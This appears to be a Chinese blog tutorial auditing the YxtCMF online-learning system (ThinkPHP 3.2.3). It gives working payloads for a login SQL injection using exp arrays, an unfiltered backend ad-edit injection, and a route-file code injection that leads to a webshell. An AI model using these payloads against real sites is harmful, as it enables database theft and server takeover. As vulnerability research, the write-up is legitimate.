介绍

YxtCMF在线学习系统是一个以thinkphp+bootstrap为框架进行开发的网络学习平台系统。

在线学习系统,为现代学习型组织提供了卓有成效的学习与培训方案, 能够通过在线学习和在线评估的方式轻松完成针对员工制订的培训计划,能够轻松建立自己的网校!

1、设计理念:E-learning

2、简单直观的界面、主次分明的设计

3、YxtCMF帮助培训机构和个人以最低成本、最快速度建立自己的在线教学网站,无需担心技术问题

4、YxtCMF采用PHP 5开发,使用mysql数据库。 框架使用Thinkphp+Bootstrap框架

下载地址:https://www.jb51.net/codes/474604.html

目录结构

admin	//后台静态文件
appliication //应用文件
data //数据配置文件
Expand //扩展类库目录
plugins //插件
public //一些资源
themes //主题
ueditor //编辑器文件
update //升级文件
uploads //上传文件
yxtedu //核心目录根据Thinkphp3.2.3开发的
index.php

yxtcmf 基于 thinkphp3.2.3开发的,所以先了解一下目录

application/xxx/controller	//由于是MVC架构,所以我们重要的逻辑代码就在controller下查看就好了
application/xxx/Menu //里面基本上是数组,定义了网站的一些功能名称、模块,我们可以根据这些数组查找到功能点对应的php文件
data/conf/route.php //路由文件
data/conf/db.php //数据库配置文件
yxtedu/Core/Mode/Api/function.php //thinkphp里面的一些自定义的重要函数,后面我们需要用到

前台审计

我们了解完这些配置架构等等之后,我们可以就从 index.php 页面来审计

<?php
if (ini_get('magic_quotes_gpc'))
{
function stripslashesRecursive(array $array)
{
foreach ($array as $k => $v)
{
if (is_string($v))
{
$array[$k] = stripslashes($v);
} else
if (is_array($v))
{
$array[$k] = stripslashesRecursive($v);
}
}
return $array;
}
$_GET = stripslashesRecursive($_GET);
$_POST = stripslashesRecursive($_POST);
}
define("APP_DEBUG",false);
define('SITE_PATH', dirname(__file__) . "/");
define('APP_PATH', SITE_PATH . 'application/');
define('SPAPP_PATH', SITE_PATH . 'yxtedu/');
define('SPAPP', './application/');
define('SPSTATIC', SITE_PATH . 'statics/');
define("RUNTIME_PATH", SITE_PATH . "data/runtime/");
define("HTML_PATH", SITE_PATH . "data/runtime/Html/");
define("THINKCMF_CORE_TAGLIBS", 'cx,Common\Lib\Taglib\TagLibSpadmin,Common\Lib\Taglib\TagLibHome');
if (!file_exists("data/install.lock"))
{
if (strtolower($_GET['g']) != "install")
{
header("Location:./index.php?g=install");
exit();
}
}
require SPAPP_PATH . 'Core/ThinkPHP.php';

首先是判断 if (ini_get('magic_quotes_gpc')) ,查看是否开启GPC

若开启了的话,则会对GET、POST接受的参数进行 stripslashesRecursive(实质上就是stripslashes) 转义:

function stripslashesRecursive(array $array)
{
foreach ($array as $k => $v)
{
if (is_string($v))
{
$array[$k] = stripslashes($v);
} else
if (is_array($v))
{
$array[$k] = stripslashesRecursive($v);
}
}
return $array;
}
$_GET = stripslashesRecursive($_GET);
$_POST = stripslashesRecursive($_POST);

然后下面给一些常见的参数或者路径赋值,定义的一些常量:

define("APP_DEBUG",false);
define('SITE_PATH', dirname(__file__) . "/");
define('APP_PATH', SITE_PATH . 'application/');
define('SPAPP_PATH', SITE_PATH . 'yxtedu/');
define('SPAPP', './application/');
define('SPSTATIC', SITE_PATH . 'statics/');
define("RUNTIME_PATH", SITE_PATH . "data/runtime/");
define("HTML_PATH", SITE_PATH . "data/runtime/Html/");
define("THINKCMF_CORE_TAGLIBS", 'cx,Common\Lib\Taglib\TagLibSpadmin,Common\Lib\Taglib\TagLibHome');

然后再查看下面,可以发现是否安装成功;

0x01、前台登陆处未使用I函数过滤导致注入

漏洞地址 :application/User/Controller/LoginController.class.php

首先验证了验证码是否正确,然后初始化了一个Users模块,最后检测是用手机号登录还是用邮箱登录:

$this->_do_mobile_login();
$this->_do_email_login();

这两个函数的定义就在这段代码的下面

注意这第 146 行,查看这一句SQL语句,发现没有经过I函数过滤

Thinkphp3.2.3中,如果没有经过I函数接受数据则会导致SQL注入

这是thinkphp的一个框架漏洞,我们先来看一下where函数的功能和用法:

也就是说,where里面包含的内容就是我们要查找的where后面的语句,那么我们这里是不是只要直接写入语句进去就行啦~ 但是你要观察到我们这里where里面的$where变量是数组的形式,而并非字符串形式。

这里就得用到其他的姿势了,也就是exp查询

$where['mobile']=$_POST['username'];

这里需要传参数组进去(如果看不懂可以看看这个链接https://www.php.cn/php-weizijiaocheng-381282.html

这时候我们要在POST包里面传进数组,那怎么传呢?这里运用到了&这个符号进行传参,我们注意要传两个参数,第一个是exp,第二个是我们要执行的sql语句,然后就开始构造payload

account[0]=exp&account[1]=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)&password=admin&ipForget=true

我们执行一下看看咋样

可以看到少了个等于号,为什么?因为这个等于号被当做赋值用了,所以不会被当做代码执行,我们需要再传入一个等于号

account[0]=exp&account[1]==1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)&password=admin&ipForget=true

这时候就注入成功了

后台使用I方法但未选择过滤方式,导致默认未过滤形成注入

漏洞位置:application/Admin/Controller/AdController.class.php

	function edit(){
$id=I("get.id");
$ad=$this->ad_model->where("ad_id=$id")->find();
$this->assign($ad);
$this->display();
}

根据函数命名可以知道这个是编辑,于是我们添加一条广告

再进去,通过下图我们可以知道这个是伪静态注入

这边接受我们的id,$id 虽然经过了I函数,但是没有选择,而默认又是为空



这边只需要闭合一下就可以了

因为路由设置问题导致GetShell

漏洞位置:application\Admin\Controller\RouteController.class.php

跟进 sp_get_routes 函数,这边贴出关键代码

function sp_get_routes($refresh=false){
......
$routes=M("Route")->where("status=1")->order("listorder asc")->select(); //取出status为1的Route
$all_routes=array();
$cache_routes=array();
foreach ($routes as $er){
$full_url=htmlspecialchars_decode($er['full_url']); //这里的full_url用htmlspecialchars_decode解码
......
$all_routes[$url]=$full_url; //将$full_url添加到$all_routes中
}
......
$route_dir=SITE_PATH."/data/conf/";
if(!file_exists($route_dir)){
mkdir($route_dir);
} $route_file=$route_dir."route.php"; //检测是否存在目录和route.php file_put_contents($route_file, "<?php\treturn " . stripslashes(var_export($all_routes, true)) . ";"); //将我们的$all_routes写入到route.php中 return $cache_routes;

通过上面我们知道这边过滤函数三个

htmlspecialchars_decode
var_export
stripslashes

而这三个函数跟进后对我们没有什么用,等于把我们的route写入文件中

根据路由规则,我们直接进入目标的页面,这边可以写入文件,我们就可以去构造个Payload

index/a/b',${phpinfo()}.'

可以看出这边是把单引号闭合掉,然后执行

MVC框架的代码审计小教程的更多相关文章

  1. .NET轻量级MVC框架:Nancy入门教程(二)——Nancy和MVC的简单对比

    在上一篇的.NET轻量级MVC框架:Nancy入门教程(一)——初识Nancy中,简单介绍了Nancy,并写了一个Hello,world.看到大家的评论,都在问Nancy的优势在哪里?和微软的MVC比 ...

  2. .NET轻量级MVC框架:Nancy入门教程(一)——初识Nancy

    当我们要接到一个新的项目的时候,我们第一时间想到的是用微软的MVC框架,但是你是否想过微软的MVC是不是有点笨重?我们这个项目用MVC是不是有点大材小用?有没有可以替代MVC的东西呢?看到这里也许你会 ...

  3. BrnShop开源网上商城第二讲:ASP.NET MVC框架

    在团队设计BrnShop的web项目之初,我们碰到了两个问题,第一个是数据的复用和传递,第二个是大mvc框架和小mvc框架的选择.下面我依次来说明下. 首先是数据的复用和传递:对于BrnShop的每一 ...

  4. 自己动手写PHP MVC框架

    自己动手写PHP MVC框架 来自:yuansir-web.com / yuansir@live.cn 代码下载: https://github.com/yuansir/tiny-php-framew ...

  5. Java Web自定义MVC框架详解 (转)

    转自:http://blog.csdn.net/jackfrued/article/details/42774459 最近给学生讲Java Web,希望他们能够在学完这部分内容后自己实现一个MVC框架 ...

  6. MVC框架实例教程 【转载】

    1 什么是MVC MVC模式(Model-View-Controller)是软件工程中的一种软件架构模式,把软件系统分为三个基本部分:模型(Model).视图(View)和控制器(Controller ...

  7. 手把手编写自己的PHP MVC框架实例教程

    1 什么是MVC MVC模式(Model-View-Controller)是软件工程中的一种软件架构模式. MVC把软件系统分为三个基本部分:模型(Model).视图(View)和控制器(Contro ...

  8. PHP: 手把手编写自己的 MVC 框架实例教程

    1 什么是MVC MVC模式(Model-View-Controller)是软件工程中的一种软件架构模式,把软件系统分为三个基本部分:模型(Model).视图(View)和控制器(Controller ...

  9. ASP.NET Core 入门教程 2、使用ASP.NET Core MVC框架构建Web应用

    一.前言 1.本文主要内容 使用dotnet cli创建基于解决方案(sln+csproj)的项目 使用Visual Studio Code开发基于解决方案(sln+csproj)的项目 Visual ...

随机推荐

  1. XDCMS审计(复现)

    最近开始学习审计,拿一些简单cms的漏洞复现一下.源码在文末会分享出来. 0x01 index.php <?php if(!file_exists("data/config.inc.p ...

  2. Python-TypeError: object() takes no parameters

    Error: TypeError: object() takes no parameters Where? 使用自定义类的时候,实例类的时候传递参数,提示这个错误 Why? 因为类实例的时候,并不需要 ...

  3. Centos-远程拷贝-scp

    scp 依赖ssh协议,实现从哟个linux系统拷贝到另一个linux系统 格式 scp -P port localPath user@IP:targetPath # 如果拷贝的是文件则需要传递 -r ...

  4. SQL实战——03. 查找各个部门当前(to_date='9999-01-01')领导当前薪水详情以及其对应部门编号dept_no

    查找各个部门当前(to_date='9999-01-01')领导当前薪水详情以及其对应部门编号dept_noCREATE TABLE `dept_manager` (`dept_no` char(4) ...

  5. 题目:写出一条SQL语句,查询工资高于10000,且与他所在部门的经理年龄相同的职工姓名。

    create table Emp( eid char(20) primary key, ename char(20), age integer check (age > 0), did char ...

  6. 001 01 Android 零基础入门 01 Java基础语法 01 Java初识 01 导学

    001 01 Android 零基础入门 01 Java基础语法 01 Java初识 01 导学 welcome to Java World 欢迎来到Java世界 一起领略Java编程世界的奥秘与奥妙 ...

  7. 【题解】小Z的袜子

    期末考试结束了,来写写blog吧 题目描述 作为一个生活散漫的人,小Z每天早上都要耗费很久从一堆五颜六色的袜子中找出一双来穿.终于有一天,小Z再也无法忍受这恼人的找袜子过程,于是他决定听天由命-- 具 ...

  8. Java之微信支付(扫码支付模式二)案例实战

    摘要:最近的一个项目中涉及到了支付业务,其中用到了微信支付和支付宝支付,在做的过程中也遇到些问题,所以现在总结梳理一下,分享给有需要的人,也为自己以后回顾留个思路. 一:微信支付接入准备工作: 首先, ...

  9. C#开启线程的四种方式

    如果需要查看更多文章,请微信搜索公众号 csharp编程大全,需要进C#交流群群请加微信z438679770,备注进群, 我邀请你进群! ! ! 1.异步委托开启线程 public class Pro ...

  10. cp命令:复制文件和目录

    cp命令:复制文件和目录 [功能说明] cp命令可以理解英文单词copy的缩写,其功能为复制文件和目录. [语法格式] 1 cp [option] [source] [dest] 2 cp [选项] ...